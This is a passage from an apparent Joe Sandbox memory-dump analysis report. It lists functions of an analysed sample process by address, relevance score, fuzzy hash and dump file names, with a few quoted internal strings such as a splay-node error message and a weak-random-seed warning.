Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: cf1ad4a8f3214d8177b6e5b94c792863a6ecf9a43dd2b3d01a2ae2c528e735f4
Instruction ID: ca81fcb83871aa8cdf6c9f072a13be3322bf14712d36d908ade601cc45422e27
Opcode Fuzzy Hash: cf1ad4a8f3214d8177b6e5b94c792863a6ecf9a43dd2b3d01a2ae2c528e735f4
Instruction Fuzzy Hash: D181F471604301DFE7339F18D849B6AB3E5BF41318F058928E95D8B2A2EB79ED54CB12

Function 00377828 Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: ad4a2de21db049a33fcd2bc88f6db98d0023062b0d66a246416d25956bf26477
Instruction ID: f663e6a48f1c8628f74cff775e6562a4b9882ba9135a18fe119a6a15da373f33
Opcode Fuzzy Hash: ad4a2de21db049a33fcd2bc88f6db98d0023062b0d66a246416d25956bf26477
Instruction Fuzzy Hash: 1E71F4716443019FE7369F18D849B2BB3E5BF41304F058828E99E8B391EB79EC44DB52

Function 003777DB Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 9e6841451bec803905ee8d4682af75d1db1f869d0d7a7641c7a2c0322c1adba5
Instruction ID: 5b9db2fe1be57babfe15228ee84d476e527d12dbd7ec6d8c1d791f5a8cbb5f45
Opcode Fuzzy Hash: 9e6841451bec803905ee8d4682af75d1db1f869d0d7a7641c7a2c0322c1adba5
Instruction Fuzzy Hash: 688104716443018FE7379F18D849B2BB7E5BF41314F058928E95E8B291EB79EC44CB52

Function 003778AB Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 86d2fb0a4b5373b5c5839a29d0d87592dd7f765daa5bf06e3c27a328a8751612
Instruction ID: bb8dfbcd4309f9658201e6b0e336e256a0a0354ac240bc2dfd2293491531edde
Opcode Fuzzy Hash: 86d2fb0a4b5373b5c5839a29d0d87592dd7f765daa5bf06e3c27a328a8751612
Instruction Fuzzy Hash: 6661E3716407019FE7379F24D849B2BB7E4AF41314F058828E95E8B291EB79EC44CB62

Function 00377A5E Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 5e4c1812e881294d943b7fcde38042b364e47fee89ae09ce8cf367fe141c43fb
Instruction ID: 633c605d13762d2ce52c2f9f1d17514cfb12313c6e2b97f8ab5c86b17a8f3d59
Opcode Fuzzy Hash: 5e4c1812e881294d943b7fcde38042b364e47fee89ae09ce8cf367fe141c43fb
Instruction Fuzzy Hash: 0161C1716443019FE7379F18D849B2BB7E4AF41314F058828E99E8B291EB79EC54CB62

Function 003B6C00 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

isupper.MSVCRT ref: 003B6CD6

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: isupper
String ID:
API String ID: 2794029478-0
Opcode ID: faab74d26b9a1aac99080673212f74dbee3387c0f743dc33e4d76ecd75f215ef
Instruction ID: 39acd46e1f3f1857d62bef87be8e791ac0321990ecba8c87ebbdc549475089c5
Opcode Fuzzy Hash: faab74d26b9a1aac99080673212f74dbee3387c0f743dc33e4d76ecd75f215ef
Instruction Fuzzy Hash: 0D512970B083548BC702EF2498825EBBBD4AF95308F15892CEED65B603E735DC08C752

Function 00377959 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: a54c556144562209f6a7fb99faa5d4f5eec4f1bc612539478c3110df1adc4984
Instruction ID: 72f11438729824349097d1e6dea07f06b859acdc6dde5983d6d7551415850773
Opcode Fuzzy Hash: a54c556144562209f6a7fb99faa5d4f5eec4f1bc612539478c3110df1adc4984
Instruction Fuzzy Hash: A471C1716043019FE726DF14C885B2BB7E4AF45304F048828E95E8B392EB79EC44CB52

Function 00376370 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 0037645F

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: 1fd90e33ed2389fd21d1f27b5110289f61d14114ba022eb3450fa9e1e1a20cb4
Instruction ID: 193798f6ecfb8fbe7debc86a17eae75e7ad2f1e6779a2d6bbeaae198827bbb71
Opcode Fuzzy Hash: 1fd90e33ed2389fd21d1f27b5110289f61d14114ba022eb3450fa9e1e1a20cb4
Instruction Fuzzy Hash: B8619270600A02AFE7368F21D862BA6F7E8FF41314F05C528E81D87681D779F858DB91

Function 0037785D Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: 5dcfbb306d6ed2faad8f57a11b5985656fc2a0c1e36eeb530f04406ad8f86c70
Instruction ID: c4184cf6cc702ddb71052ea6357c91b5f5f9de3e6f3e5339fcbcee3eb71aa009
Opcode Fuzzy Hash: 5dcfbb306d6ed2faad8f57a11b5985656fc2a0c1e36eeb530f04406ad8f86c70
Instruction Fuzzy Hash: D161E2716043019FE732DF24D845B2BB3E5BF41304F058828E99E8B291EB79EC54DB62

Function 00377641 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: ea5a8e937324be81595ea17e2d01ac594f45d35371999b5d943aff8fca607101
Instruction ID: 00845e78ef8ea838e839619c6a0639f98d6774333e8ce92898793bf52d328e98
Opcode Fuzzy Hash: ea5a8e937324be81595ea17e2d01ac594f45d35371999b5d943aff8fca607101
Instruction Fuzzy Hash: A951F1716047019FE3329F18D845B6BB3E4BF41314F058828F89E8B292EB79ED54CB62

Function 0038DAD0 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Shuffling %i addresses, xrefs: 0038DB09

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Shuffling %i addresses
API String ID: 0-3589116693
Opcode ID: ff3a4b5042de09e10c7496e95b33d3c4a303a6d7e943bad8a84a444b9a27fad3
Instruction ID: 4c50ed352630b7b69f59c7016df474c0e55e56502e82e1bfcb6ea9ed98026b4f
Opcode Fuzzy Hash: ff3a4b5042de09e10c7496e95b33d3c4a303a6d7e943bad8a84a444b9a27fad3
Instruction Fuzzy Hash: 2D31C175A043008FD716EF28D98492BB7E5EF89314F1A44A8E88ADB351E731ED11CB86

Function 003B5360 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

WARNING: Using weak random seed, xrefs: 003B53CB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: WARNING: Using weak random seed
API String ID: 0-2797872110
Opcode ID: 7295c6dbd4dd6a46f52a4af25e5bc9783bb938c7602ab8edfd9531959a881d42
Instruction ID: f5118b4af3a3809f021b8c956ba3357b6ab77fe920ef7746f034108506626841
Opcode Fuzzy Hash: 7295c6dbd4dd6a46f52a4af25e5bc9783bb938c7602ab8edfd9531959a881d42
Instruction Fuzzy Hash: 18219BB6A043009FD3019F15AC8077AB7E9EBD2308F49063CE698CB750E730DD448BA2

Function 003CF270 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9510e5371856a57da19edf6cab7953d95cf420efcc6c5383e748b0cf7e06187
Instruction ID: 1418171e9f11e05955ef32a330ebab1c4f53eeea68f0b4a67d9b53314b5afc56
Opcode Fuzzy Hash: f9510e5371856a57da19edf6cab7953d95cf420efcc6c5383e748b0cf7e06187
Instruction Fuzzy Hash: 0451E1B5505344AFD7129F25AC81F2BBAE9AF45309F09453EF888D7242E732DC14CB62

Function 003CADE0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58cd108603b9f9471290b6979ae3f1cee81ae09aea8f253f9500194cfd95b6a1
Instruction ID: 9e20b6f7dd2d4212159f4c3560f3a38864feb7dd26260ab93390606577f434c3
Opcode Fuzzy Hash: 58cd108603b9f9471290b6979ae3f1cee81ae09aea8f253f9500194cfd95b6a1
Instruction Fuzzy Hash: 7C3173E790070867D6227EB07CC2FAB726C9F52709F04042EF9595A303EA65B91886F3

Function 003CE8A0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c365e9d3f45f2bda6a02dea2dc67a0854d4166919f2923b7c3a4764284c29f5c
Instruction ID: c0dbb350a5e12fd5e96c2bcb406e743be510e65b3e4ae351a04745dc9659cb72
Opcode Fuzzy Hash: c365e9d3f45f2bda6a02dea2dc67a0854d4166919f2923b7c3a4764284c29f5c
Instruction Fuzzy Hash: B541AA79208741DFC716DF18C880FAAB7E4FB90319F16896DE48A9B351D331AD08CB82

Function 00377360 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: ae435c540959eddb72ecfd697161aaabb4a8d1fbf00b198255eca3aab58b2ab7
Instruction ID: 8dbe60f61557a41a9ba108bbaae3a7617caadd0a9699a2ac815d2b0f641c2964
Opcode Fuzzy Hash: ae435c540959eddb72ecfd697161aaabb4a8d1fbf00b198255eca3aab58b2ab7
Instruction Fuzzy Hash: B0418C71A08305AFDB229F55C840B5BBBE5FF84314F068968E95C6B312D379AC50CBD1

Function 003A3C90 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facf62b0738197f8f2bad35efd3e709c04c41603ade51e048969b0a60cb51b2d
Instruction ID: efff147445f70d2d7671b70aedc3c70070ddcd78fa1e6b4c82e396d3e67a636d
Opcode Fuzzy Hash: facf62b0738197f8f2bad35efd3e709c04c41603ade51e048969b0a60cb51b2d
Instruction Fuzzy Hash: AEF08132909615AFDB128F84CC80927F768FF4A728B1A0529FE5477201D332FD24CBA0

Function 003D5060 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7615f559be60106228b4c27ada3eddaaea516e25627dc84fd8f57bd9b1c00324
Instruction ID: ca5f10dd553e73d67fc5f5219800ff03fe2edd036dbce96d3417c6aa1ed823e9
Opcode Fuzzy Hash: 7615f559be60106228b4c27ada3eddaaea516e25627dc84fd8f57bd9b1c00324
Instruction Fuzzy Hash: 4FD0122450DAA14AC6064B319560932FFF16E97746F8CD1CEE0D567762C135C900DBA5

Function 003DC0F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
